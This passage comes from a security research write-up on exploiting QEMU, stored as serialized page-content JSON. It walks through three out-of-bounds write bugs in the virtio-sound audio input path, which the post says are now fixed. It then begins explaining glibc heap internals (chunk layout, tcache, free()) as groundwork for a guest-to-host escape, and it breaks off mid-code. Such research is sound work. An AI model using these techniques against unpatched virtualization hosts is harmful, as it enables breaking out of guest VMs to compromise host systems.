"type":24,"tag":327,"props":132145,"children":132146},{"style":381},[132147],{"type":29,"value":22588},{"type":24,"tag":327,"props":132149,"children":132150},{"style":346},[132151],{"type":29,"value":131329},{"type":24,"tag":327,"props":132153,"children":132154},{"class":329,"line":5075},[132155,132160,132164],{"type":24,"tag":327,"props":132156,"children":132157},{"style":346},[132158],{"type":29,"value":132159},"                available ",{"type":24,"tag":327,"props":132161,"children":132162},{"style":381},[132163],{"type":29,"value":110712},{"type":24,"tag":327,"props":132165,"children":132166},{"style":346},[132167],{"type":29,"value":131329},{"type":24,"tag":327,"props":132169,"children":132170},{"class":329,"line":5083},[132171],{"type":24,"tag":327,"props":132172,"children":132173},{"style":346},[132174],{"type":29,"value":132175},"                [...]\n",{"type":24,"tag":327,"props":132177,"children":132178},{"class":329,"line":5091},[132179],{"type":24,"tag":327,"props":132180,"children":132181},{"style":346},[132182],{"type":29,"value":65607},{"type":24,"tag":327,"props":132184,"children":132185},{"class":329,"line":5100},[132186],{"type":24,"tag":327,"props":132187,"children":132188},{"style":346},[132189],{"type":29,"value":8989},{"type":24,"tag":327,"props":132191,"children":132192},{"class":329,"line":5176},[132193],{"type":24,"tag":327,"props":132194,"children":132195},{"style":346},[132196],{"type":29,"value":535},{"type":24,"tag":327,"props":132198,"children":132199},{"class":329,"line":5209},[132200],{"type":24,"tag":327,"props":132201,"children":132202},{"style":346},[132203],{"type":29,"value":592},{"type":24,"tag":25,"props":132205,"children":132206},{},[132207,132208,132213,132214,132220,132222,132228,132230,132235,132236,132241,132243,132248],{"type":29,"value":131109},{"type":24,"tag":284,"props":132209,"children":132211},{"className":132210},[],[132212],{"type":29,"value":131115},{"type":29,"value":2744},{"type":24,"tag":284,"props":132215,"children":132217},{"className":132216},[],[132218],{"type":29,"value":132219},"max_size",{"type":29,"value":132221}," is set to ",{"type":24,"tag":284,"props":132223,"children":132225},{"className":132224},[],[132226],{"type":29,"value":132227},"iov_size(in_sg, in_num)",{"type":29,"value":132229},". Both ",{"type":24,"tag":284,"props":132231,"children":132233},{"className":132232},[],[132234],{"type":29,"value":130840},{"type":29,"value":1323},{"type":24,"tag":284,"props":132237,"children":132239},{"className":132238},[],[132240],{"type":29,"value":130857},{"type":29,"value":132242}," are the same guest-controlled fields from ",{"type":24,"tag":284,"props":132244,"children":132246},{"className":132245},[],[132247],{"type":29,"value":130492},{"type":29,"value":66},{"type":24,"tag":25,"props":132250,"children":132251},{},[132252,132254,132259,132261,132267,132269,132275,132277,132283],{"type":29,"value":132253},"Later, at ",{"type":24,"tag":284,"props":132255,"children":132257},{"className":132256},[],[132258],{"type":29,"value":131150},{"type":29,"value":132260},", the code checks whether ",{"type":24,"tag":284,"props":132262,"children":132264},{"className":132263},[],[132265],{"type":29,"value":132266},"buffer->size >= max_size",{"type":29,"value":132268},". In the RX path, ",{"type":24,"tag":284,"props":132270,"children":132272},{"className":132271},[],[132273],{"type":29,"value":132274},"buffer->size",{"type":29,"value":132276}," tracks how many bytes have been written into ",{"type":24,"tag":284,"props":132278,"children":132280},{"className":132279},[],[132281],{"type":29,"value":132282},"buffer->data",{"type":29,"value":132284},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":132286,"children":132287},{},[132288,132290,132295,132297,132303,132305,132310,132312,132318],{"type":29,"value":132289},"However, this does not match the allocation logic in ",{"type":24,"tag":284,"props":132291,"children":132293},{"className":132292},[],[132294],{"type":29,"value":130492},{"type":29,"value":132296},", which used: ",{"type":24,"tag":284,"props":132298,"children":132300},{"className":132299},[],[132301],{"type":29,"value":132302},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":132304},". In other words, the allocation subtracts ",{"type":24,"tag":284,"props":132306,"children":132308},{"className":132307},[],[132309],{"type":29,"value":131216},{"type":29,"value":132311},", but the later bound in ",{"type":24,"tag":284,"props":132313,"children":132315},{"className":132314},[],[132316],{"type":29,"value":132317},"virtio_snd_pcm_in_cb",{"type":29,"value":132319}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":25,"props":132321,"children":132322},{},[132323,132325,132330,132332,132338,132340,132346,132348,132353,132355,132361,132363,132369,132371,132376,132378,132383],{"type":29,"value":132324},"Finally, at ",{"type":24,"tag":284,"props":132326,"children":132328},{"className":132327},[],[132329],{"type":29,"value":131174},{"type":29,"value":132331},", the code calls ",{"type":24,"tag":284,"props":132333,"children":132335},{"className":132334},[],[132336],{"type":29,"value":132337},"AUD_read",{"type":29,"value":132339}," with the following limit:\n",{"type":24,"tag":284,"props":132341,"children":132343},{"className":132342},[],[132344],{"type":29,"value":132345},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":132347},". Notice how this bound does not take ",{"type":24,"tag":284,"props":132349,"children":132351},{"className":132350},[],[132352],{"type":29,"value":132219},{"type":29,"value":132354}," into account at all. That means if ",{"type":24,"tag":284,"props":132356,"children":132358},{"className":132357},[],[132359],{"type":29,"value":132360},"available",{"type":29,"value":132362}," is larger than the allocated buffer, and ",{"type":24,"tag":284,"props":132364,"children":132366},{"className":132365},[],[132367],{"type":29,"value":132368},"stream->params.period_bytes",{"type":29,"value":132370}," is also larger than the allocated buffer, ",{"type":24,"tag":284,"props":132372,"children":132374},{"className":132373},[],[132375],{"type":29,"value":132337},{"type":29,"value":132377}," will write past the end of ",{"type":24,"tag":284,"props":132379,"children":132381},{"className":132380},[],[132382],{"type":29,"value":132282},{"type":29,"value":132384}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":132386,"children":132387},{},[132388,132390,132395,132397,132403],{"type":29,"value":132389},"Looking further at the code, we can see that ",{"type":24,"tag":284,"props":132391,"children":132393},{"className":132392},[],[132394],{"type":29,"value":132368},{"type":29,"value":132396}," is fully guest-controlled by issuing a ",{"type":24,"tag":284,"props":132398,"children":132400},{"className":132399},[],[132401],{"type":29,"value":132402},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":132404}," request:",{"type":24,"tag":317,"props":132406,"children":132408},{"code":132407,"language":320,"meta":7,"className":321,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[132409],{"type":24,"tag":284,"props":132410,"children":132411},{"__ignoreMap":7},[132412,132420,132449,132466,132486,132493,132510,132517,132524,132531,132553,132560,132567,132574,132620,132663,132707,132715,132752,132788,132824,132831,132848],{"type":24,"tag":327,"props":132413,"children":132414},{"class":329,"line":330},[132415],{"type":24,"tag":327,"props":132416,"children":132417},{"style":334},[132418],{"type":29,"value":132419},"static\n",{"type":24,"tag":327,"props":132421,"children":132422},{"class":329,"line":367},[132423,132427,132432,132437,132441,132445],{"type":24,"tag":327,"props":132424,"children":132425},{"style":334},[132426],{"type":29,"value":64655},{"type":24,"tag":327,"props":132428,"children":132429},{"style":340},[132430],{"type":29,"value":132431}," virtio_snd_set_pcm_params",{"type":24,"tag":327,"props":132433,"children":132434},{"style":346},[132435],{"type":29,"value":132436},"(VirtIOSound ",{"type":24,"tag":327,"props":132438,"children":132439},{"style":381},[132440],{"type":29,"value":469},{"type":24,"tag":327,"props":132442,"children":132443},{"style":356},[132444],{"type":29,"value":18198},{"type":24,"tag":327,"props":132446,"children":132447},{"style":346},[132448],{"type":29,"value":2231},{"type":24,"tag":327,"props":132450,"children":132451},{"class":329,"line":408},[132452,132457,132462],{"type":24,"tag":327,"props":132453,"children":132454},{"style":334},[132455],{"type":29,"value":132456},"                                   uint32_t",{"type":24,"tag":327,"props":132458,"children":132459},{"style":356},[132460],{"type":29,"value":132461}," stream_id",{"type":24,"tag":327,"props":132463,"children":132464},{"style":346},[132465],{"type":29,"value":2231},{"type":24,"tag":327,"props":132467,"children":132468},{"class":329,"line":421},[132469,132474,132478,132482],{"type":24,"tag":327,"props":132470,"children":132471},{"style":346},[132472],{"type":29,"value":132473},"                                   virtio_snd_pcm_set_params ",{"type":24,"tag":327,"props":132475,"children":132476},{"style":381},[132477],{"type":29,"value":469},{"type":24,"tag":327,"props":132479,"children":132480},{"style":356},[132481],{"type":29,"value":105009},{"type":24,"tag":327,"props":132483,"children":132484},{"style":346},[132485],{"type":29,"value":852},{"type":24,"tag":327,"props":132487,"children":132488},{"class":329,"line":450},[132489],{"type":24,"tag":327,"props":132490,"children":132491},{"style":346},[132492],{"type":29,"value":18427},{"type":24,"tag":327,"props":132494,"children":132495},{"class":329,"line":481},[132496,132501,132505],{"type":24,"tag":327,"props":132497,"children":132498},{"style":346},[132499],{"type":29,"value":132500},"    virtio_snd_pcm_set_params ",{"type":24,"tag":327,"props":132502,"children":132503},{"style":381},[132504],{"type":29,"value":469},{"type":24,"tag":327,"props":132506,"children":132507},{"style":346},[132508],{"type":29,"value":132509},"st_params;\n",{"type":24,"tag":327,"props":132511,"children":132512},{"class":329,"line":500},[132513],{"type":24,"tag":327,"props":132514,"children":132515},{"emptyLinePlaceholder":16},[132516],{"type":29,"value":544},{"type":24,"tag":327,"props":132518,"children":132519},{"class":329,"line":529},[132520],{"type":24,"tag":327,"props":132521,"children":132522},{"style":346},[132523],{"type":29,"value":111528},{"type":24,"tag":327,"props":132525,"children":132526},{"class":329,"line":538},[132527],{"type":24,"tag":327,"props":132528,"children":132529},{"emptyLinePlaceholder":16},[132530],{"type":29,"value":544},{"type":24,"tag":327,"props":132532,"children":132533},{"class":329,"line":547},[132534,132539,132543,132548],{"type":24,"tag":327,"props":132535,"children":132536},{"style":346},[132537],{"type":29,"value":132538},"    st_params ",{"type":24,"tag":327,"props":132540,"children":132541},{"style":381},[132542],{"type":29,"value":384},{"type":24,"tag":327,"props":132544,"children":132545},{"style":340},[132546],{"type":29,"value":132547}," virtio_snd_pcm_get_params",{"type":24,"tag":327,"props":132549,"children":132550},{"style":346},[132551],{"type":29,"value":132552},"(s, stream_id);\n",{"type":24,"tag":327,"props":132554,"children":132555},{"class":329,"line":557},[132556],{"type":24,"tag":327,"props":132557,"children":132558},{"emptyLinePlaceholder":16},[132559],{"type":29,"value":544},{"type":24,"tag":327,"props":132561,"children":132562},{"class":329,"line":586},[132563],{"type":24,"tag":327,"props":132564,"children":132565},{"style":346},[132566],{"type":29,"value":111528},{"type":24,"tag":327,"props":132568,"children":132569},{"class":329,"line":1017},[132570],{"type":24,"tag":327,"props":132571,"children":132572},{"emptyLinePlaceholder":16},[132573],{"type":29,"value":544},{"type":24,"tag":327,"props":132575,"children":132576},{"class":329,"line":1026},[132577,132582,132586,132591,132595,132600,132604,132608,132612,132616],{"type":24,"tag":327,"props":132578,"children":132579},{"style":356},[132580],{"type":29,"value":132581},"    st_params",{"type":24,"tag":327,"props":132583,"children":132584},{"style":346},[132585],{"type":29,"value":1679},{"type":24,"tag":327,"props":132587,"children":132588},{"style":356},[132589],{"type":29,"value":132590},"buffer_bytes",{"type":24,"tag":327,"props":132592,"children":132593},{"style":381},[132594],{"type":29,"value":4809},{"type":24,"tag":327,"props":132596,"children":132597},{"style":340},[132598],{"type":29,"value":132599}," le32_to_cpu",{"type":24,"tag":327,"props":132601,"children":132602},{"style":346},[132603],{"type":29,"value":349},{"type":24,"tag":327,"props":132605,"children":132606},{"style":356},[132607],{"type":29,"value":105009},{"type":24,"tag":327,"props":132609,"children":132610},{"style":346},[132611],{"type":29,"value":1679},{"type":24,"tag":327,"props":132613,"children":132614},{"style":356},[132615],{"type":29,"value":132590},{"type":24,"tag":327,"props":132617,"children":132618},{"style":346},[132619],{"type":29,"value":583},{"type":24,"tag":327,"props":132621,"children":132622},{"class":329,"line":1048},[132623,132627,132631,132635,132639,132643,132647,132651,132655,132659],{"type":24,"tag":327,"props":132624,"children":132625},{"style":356},[132626],{"type":29,"value":132581},{"type":24,"tag":327,"props":132628,"children":132629},{"style":346},[132630],{"type":29,"value":1679},{"type":24,"tag":327,"props":132632,"children":132633},{"style":356},[132634],{"type":29,"value":132040},{"type":24,"tag":327,"props":132636,"children":132637},{"style":381},[132638],{"type":29,"value":4809},{"type":24,"tag":327,"props":132640,"children":132641},{"style":340},[132642],{"type":29,"value":132599},{"type":24,"tag":327,"props":132644,"children":132645},{"style":346},[132646],{"type":29,"value":349},{"type":24,"tag":327,"props":132648,"children":132649},{"style":356},[132650],{"type":29,"value":105009},{"type":24,"tag":327,"props":132652,"children":132653},{"style":346},[132654],{"type":29,"value":1679},{"type":24,"tag":327,"props":132656,"children":132657},{"style":356},[132658],{"type":29,"value":132040},{"type":24,"tag":327,"props":132660,"children":132661},{"style":346},[132662],{"type":29,"value":583},{"type":24,"tag":327,"props":132664,"children":132665},{"class":329,"line":1067},[132666,132670,132674,132679,132683,132687,132691,132695,132699,132703],{"type":24,"tag":327,"props":132667,"children":132668},{"style":356},[132669],{"type":29,"value":132581},{"type":24,"tag":327,"props":132671,"children":132672},{"style":346},[132673],{"type":29,"value":1679},{"type":24,"tag":327,"props":132675,"children":132676},{"style":356},[132677],{"type":29,"value":132678},"features",{"type":24,"tag":327,"props":132680,"children":132681},{"style":381},[132682],{"type":29,"value":4809},{"type":24,"tag":327,"props":132684,"children":132685},{"style":340},[132686],{"type":29,"value":132599},{"type":24,"tag":327,"props":132688,"children":132689},{"style":346},[132690],{"type":29,"value":349},{"type":24,"tag":327,"props":132692,"children":132693},{"style":356},[132694],{"type":29,"value":105009},{"type":24,"tag":327,"props":132696,"children":132697},{"style":346},[132698],{"type":29,"value":1679},{"type":24,"tag":327,"props":132700,"children":132701},{"style":356},[132702],{"type":29,"value":132678},{"type":24,"tag":327,"props":132704,"children":132705},{"style":346},[132706],{"type":29,"value":583},{"type":24,"tag":327,"props":132708,"children":132709},{"class":329,"line":1075},[132710],{"type":24,"tag":327,"props":132711,"children":132712},{"style":551},[132713],{"type":29,"value":132714},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":327,"props":132716,"children":132717},{"class":329,"line":1084},[132718,132722,132726,132731,132735,132740,132744,132748],{"type":24,"tag":327,"props":132719,"children":132720},{"style":356},[132721],{"type":29,"value":132581},{"type":24,"tag":327,"props":132723,"children":132724},{"style":346},[132725],{"type":29,"value":1679},{"type":24,"tag":327,"props":132727,"children":132728},{"style":356},[132729],{"type":29,"value":132730},"channels",{"type":24,"tag":327,"props":132732,"children":132733},{"style":381},[132734],{"type":29,"value":4809},{"type":24,"tag":327,"props":132736,"children":132737},{"style":356},[132738],{"type":29,"value":132739}," params",{"type":24,"tag":327,"props":132741,"children":132742},{"style":346},[132743],{"type":29,"value":1679},{"type":24,"tag":327,"props":132745,"children":132746},{"style":356},[132747],{"type":29,"value":132730},{"type":24,"tag":327,"props":132749,"children":132750},{"style":346},[132751],{"type":29,"value":405},{"type":24,"tag":327,"props":132753,"children":132754},{"class":329,"line":1100},[132755,132759,132763,132768,132772,132776,132780,132784],{"type":24,"tag":327,"props":132756,"children":132757},{"style":356},[132758],{"type":29,"value":132581},{"type":24,"tag":327,"props":132760,"children":132761},{"style":346},[132762],{"type":29,"value":1679},{"type":24,"tag":327,"props":132764,"children":132765},{"style":356},[132766],{"type":29,"value":132767},"format",{"type":24,"tag":327,"props":132769,"children":132770},{"style":381},[132771],{"type":29,"value":4809},{"type":24,"tag":327,"props":132773,"children":132774},{"style":356},[132775],{"type":29,"value":132739},{"type":24,"tag":327,"props":132777,"children":132778},{"style":346},[132779],{"type":29,"value":1679},{"type":24,"tag":327,"props":132781,"children":132782},{"style":356},[132783],{"type":29,"value":132767},{"type":24,"tag":327,"props":132785,"children":132786},{"style":346},[132787],{"type":29,"value":405},{"type":24,"tag":327,"props":132789,"children":132790},{"class":329,"line":1128},[132791,132795,132799,132804,132808,132812,132816,132820],{"type":24,"tag":327,"props":132792,"children":132793},{"style":356},[132794],{"type":29,"value":132581},{"type":24,"tag":327,"props":132796,"children":132797},{"style":346},[132798],{"type":29,"value":1679},{"type":24,"tag":327,"props":132800,"children":132801},{"style":356},[132802],{"type":29,"value":132803},"rate",{"type":24,"tag":327,"props":132805,"children":132806},{"style":381},[132807],{"type":29,"value":4809},{"type":24,"tag":327,"props":132809,"children":132810},{"style":356},[132811],{"type":29,"value":132739},{"type":24,"tag":327,"props":132813,"children":132814},{"style":346},[132815],{"type":29,"value":1679},{"type":24,"tag":327,"props":132817,"children":132818},{"style":356},[132819],{"type":29,"value":132803},{"type":24,"tag":327,"props":132821,"children":132822},{"style":346},[132823],{"type":29,"value":405},{"type":24,"tag":327,"props":132825,"children":132826},{"class":329,"line":1148},[132827],{"type":24,"tag":327,"props":132828,"children":132829},{"emptyLinePlaceholder":16},[132830],{"type":29,"value":544},{"type":24,"tag":327,"props":132832,"children":132833},{"class":329,"line":1176},[132834,132838,132843],{"type":24,"tag":327,"props":132835,"children":132836},{"style":425},[132837],{"type":29,"value":6023},{"type":24,"tag":327,"props":132839,"children":132840},{"style":340},[132841],{"type":29,"value":132842}," cpu_to_le32",{"type":24,"tag":327,"props":132844,"children":132845},{"style":346},[132846],{"type":29,"value":132847},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":327,"props":132849,"children":132850},{"class":329,"line":1184},[132851],{"type":24,"tag":327,"props":132852,"children":132853},{"style":346},[132854],{"type":29,"value":592},{"type":24,"tag":25,"props":132856,"children":132857},{},[132858,132860,132865,132867,132873,132875,132880,132882,132887,132889,132895,132896,132901],{"type":29,"value":132859},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":284,"props":132861,"children":132863},{"className":132862},[],[132864],{"type":29,"value":11022},{"type":29,"value":132866},") and signed (",{"type":24,"tag":284,"props":132868,"children":132870},{"className":132869},[],[132871],{"type":29,"value":132872},"s8",{"type":29,"value":132874},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":284,"props":132876,"children":132878},{"className":132877},[],[132879],{"type":29,"value":36148},{"type":29,"value":132881}," in ",{"type":24,"tag":284,"props":132883,"children":132885},{"className":132884},[],[132886],{"type":29,"value":11022},{"type":29,"value":132888},", but ",{"type":24,"tag":284,"props":132890,"children":132892},{"className":132891},[],[132893],{"type":29,"value":132894},"0x00",{"type":29,"value":132881},{"type":24,"tag":284,"props":132897,"children":132899},{"className":132898},[],[132900],{"type":29,"value":132872},{"type":29,"value":66},{"type":24,"tag":68,"props":132903,"children":132904},{},[],{"type":24,"tag":25,"props":132906,"children":132907},{},[132908],{"type":29,"value":132909},"To summarize:",{"type":24,"tag":175,"props":132911,"children":132912},{},[132913,132932,132950],{"type":24,"tag":179,"props":132914,"children":132915},{},[132916,132918,132923,132925,132930],{"type":29,"value":132917},"an integer underflow in the ",{"type":24,"tag":284,"props":132919,"children":132921},{"className":132920},[],[132922],{"type":29,"value":130987},{"type":29,"value":132924}," calculation in ",{"type":24,"tag":284,"props":132926,"children":132928},{"className":132927},[],[132929],{"type":29,"value":130492},{"type":29,"value":132931},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":179,"props":132933,"children":132934},{},[132935,132937,132942,132943,132948],{"type":29,"value":132936},"a mismatch in the ",{"type":24,"tag":284,"props":132938,"children":132940},{"className":132939},[],[132941],{"type":29,"value":132219},{"type":29,"value":132924},{"type":24,"tag":284,"props":132944,"children":132946},{"className":132945},[],[132947],{"type":29,"value":132317},{"type":29,"value":132949},", leading to at most 8-byte OOB write",{"type":24,"tag":179,"props":132951,"children":132952},{},[132953,132955,132960,132962,132967,132969,132974],{"type":29,"value":132954},"a missing bound in the ",{"type":24,"tag":284,"props":132956,"children":132958},{"className":132957},[],[132959],{"type":29,"value":130987},{"type":29,"value":132961}," passed to ",{"type":24,"tag":284,"props":132963,"children":132965},{"className":132964},[],[132966],{"type":29,"value":132337},{"type":29,"value":132968},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":284,"props":132970,"children":132972},{"className":132971},[],[132973],{"type":29,"value":132360},{"type":29,"value":89016},{"type":24,"tag":25,"props":132976,"children":132977},{},[132978,132980,132985,132987,132992,132994,133000],{"type":29,"value":132979},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":284,"props":132981,"children":132983},{"className":132982},[],[132984],{"type":29,"value":132360},{"type":29,"value":132986},", but in our setup with the ALSA backend, ",{"type":24,"tag":284,"props":132988,"children":132990},{"className":132989},[],[132991],{"type":29,"value":132360},{"type":29,"value":132993}," was consistently around ",{"type":24,"tag":284,"props":132995,"children":132997},{"className":132996},[],[132998],{"type":29,"value":132999},"4096",{"type":29,"value":66},{"type":24,"tag":25,"props":133002,"children":133003},{},[133004,133006,133013,133014,133021],{"type":29,"value":133005},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":57,"props":133007,"children":133010},{"href":133008,"rel":133009},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[61],[133011],{"type":29,"value":133012},"commit 1",{"type":29,"value":2744},{"type":24,"tag":57,"props":133015,"children":133018},{"href":133016,"rel":133017},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[61],[133019],{"type":29,"value":133020},"commit 2",{"type":29,"value":133022},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":228,"props":133024,"children":133025},{"id":106835},[133026],{"type":29,"value":106838},{"type":24,"tag":25,"props":133028,"children":133029},{},[133030],{"type":29,"value":133031},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":133033,"children":133034},{},[133035],{"type":29,"value":133036},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":235,"props":133038,"children":133040},{"id":133039},"achieving-a-better-primitive",[133041],{"type":29,"value":133042},"Achieving a Better Primitive",{"type":24,"tag":25,"props":133044,"children":133045},{},[133046],{"type":29,"value":133047},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":133049,"children":133050},{},[133051],{"type":29,"value":133052},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":133054,"children":133055},{},[133056],{"type":29,"value":133057},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":168,"props":133059,"children":133061},{"id":133060},"glibc-allocator",[133062],{"type":29,"value":133063},"Glibc Allocator",{"type":24,"tag":25,"props":133065,"children":133066},{},[133067,133069,133076],{"type":29,"value":133068},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":57,"props":133070,"children":133073},{"href":133071,"rel":133072},"https://github.com/shellphish/how2heap",[61],[133074],{"type":29,"value":133075},"how2heap",{"type":29,"value":66},{"type":24,"tag":44059,"props":133078,"children":133080},{"id":133079},"chunk-layout-and-bins",[133081],{"type":29,"value":133082},"Chunk Layout and Bins",{"type":24,"tag":25,"props":133084,"children":133085},{},[133086],{"type":29,"value":133087},"A chunk looks like this:",{"type":24,"tag":317,"props":133089,"children":133091},{"code":133090},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[133092],{"type":24,"tag":284,"props":133093,"children":133094},{"__ignoreMap":7},[133095],{"type":29,"value":133090},{"type":24,"tag":25,"props":133097,"children":133098},{},[133099,133101,133107,133109,133115,133116,133121,133122,133128,133130,133135,133137,133142,133144,133150,133151,133157,133159,133165],{"type":29,"value":133100},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":284,"props":133102,"children":133104},{"className":133103},[],[133105],{"type":29,"value":133106},"prev_size",{"type":29,"value":133108}," field at offset ",{"type":24,"tag":284,"props":133110,"children":133112},{"className":133111},[],[133113],{"type":29,"value":133114},"0x0",{"type":29,"value":44263},{"type":24,"tag":284,"props":133117,"children":133119},{"className":133118},[],[133120],{"type":29,"value":130987},{"type":29,"value":133108},{"type":24,"tag":284,"props":133123,"children":133125},{"className":133124},[],[133126],{"type":29,"value":133127},"0x8",{"type":29,"value":133129},". As the name suggests, ",{"type":24,"tag":284,"props":133131,"children":133133},{"className":133132},[],[133134],{"type":29,"value":133106},{"type":29,"value":133136}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":284,"props":133138,"children":133140},{"className":133139},[],[133141],{"type":29,"value":130987},{"type":29,"value":133143}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":284,"props":133145,"children":133147},{"className":133146},[],[133148],{"type":29,"value":133149},"PREV_INUSE",{"type":29,"value":1323},{"type":24,"tag":284,"props":133152,"children":133154},{"className":133153},[],[133155],{"type":29,"value":133156},"IS_MMAPPED",{"type":29,"value":133158}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":284,"props":133160,"children":133162},{"className":133161},[],[133163],{"type":29,"value":133164},"0x10",{"type":29,"value":66},{"type":24,"tag":25,"props":133167,"children":133168},{},[133169],{"type":29,"value":133170},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":44059,"props":133172,"children":133174},{"id":133173},"free-path",[133175],{"type":29,"value":133176},"free() path",{"type":24,"tag":25,"props":133178,"children":133179},{},[133180,133182,133188],{"type":29,"value":133181},"Let’s first look at the ",{"type":24,"tag":284,"props":133183,"children":133185},{"className":133184},[],[133186],{"type":29,"value":133187},"free()",{"type":29,"value":133189}," path in glibc 2.40:",{"type":24,"tag":317,"props":133191,"children":133193},{"code":133192,"language":320,"meta":7,"className":321,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[133194],{"type":24,"tag":284,"props":133195,"children":133196},{"__ignoreMap":7},[133197,133225,133232,133240,133248,133255,133277,133298,133305,133318,133325,133333,133340,133353,133360,133381,133402,133409],{"type":24,"tag":327,"props":133198,"children":133199},{"class":329,"line":330},[133200,133205,133209,133213,133217,133221],{"type":24,"tag":327,"props":133201,"children":133202},{"style":340},[133203],{"type":29,"value":133204},"__libc_free",{"type":24,"tag":327,"props":133206,"children":133207},{"style":346},[133208],{"type":29,"value":5894},{"type":24,"tag":327,"props":133210,"children":133211},{"style":334},[133212],{"type":29,"value":58348},{"type":24,"tag":327,"props":133214,"children":133215},{"style":381},[133216],{"type":29,"value":17364},{"type":24,"tag":327,"props":133218,"children":133219},{"style":356},[133220],{"type":29,"value":47378},{"type":24,"tag":327,"props":133222,"children":133223},{"style":346},[133224],{"type":29,"value":852},{"type":24,"tag":327,"props":133226,"children":133227},{"class":329,"line":367},[133228],{"type":24,"tag":327,"props":133229,"children":133230},{"style":346},[133231],{"type":29,"value":18427},{"type":24,"tag":327,"props":133233,"children":133234},{"class":329,"line":408},[133235],{"type":24,"tag":327,"props":133236,"children":133237},{"style":346},[133238],{"type":29,"value":133239},"  mstate ar_ptr;\n",{"type":24,"tag":327,"props":133241,"children":133242},{"class":329,"line":421},[133243],{"type":24,"tag":327,"props":133244,"children":133245},{"style":346},[133246],{"type":29,"value":133247},"  mchunkptr p;\n",{"type":24,"tag":327,"props":133249,"children":133250},{"class":329,"line":450},[133251],{"type":24,"tag":327,"props":133252,"children":133253},{"emptyLinePlaceholder":16},[133254],{"type":29,"value":544},{"type":24,"tag":327,"props":133256,"children":133257},{"class":329,"line":481},[133258,133263,133267,133272],{"type":24,"tag":327,"props":133259,"children":133260},{"style":346},[133261],{"type":29,"value":133262},"  p ",{"type":24,"tag":327,"props":133264,"children":133265},{"style":381},[133266],{"type":29,"value":384},{"type":24,"tag":327,"props":133268,"children":133269},{"style":340},[133270],{"type":29,"value":133271}," mem2chunk",{"type":24,"tag":327,"props":133273,"children":133274},{"style":346},[133275],{"type":29,"value":133276}," 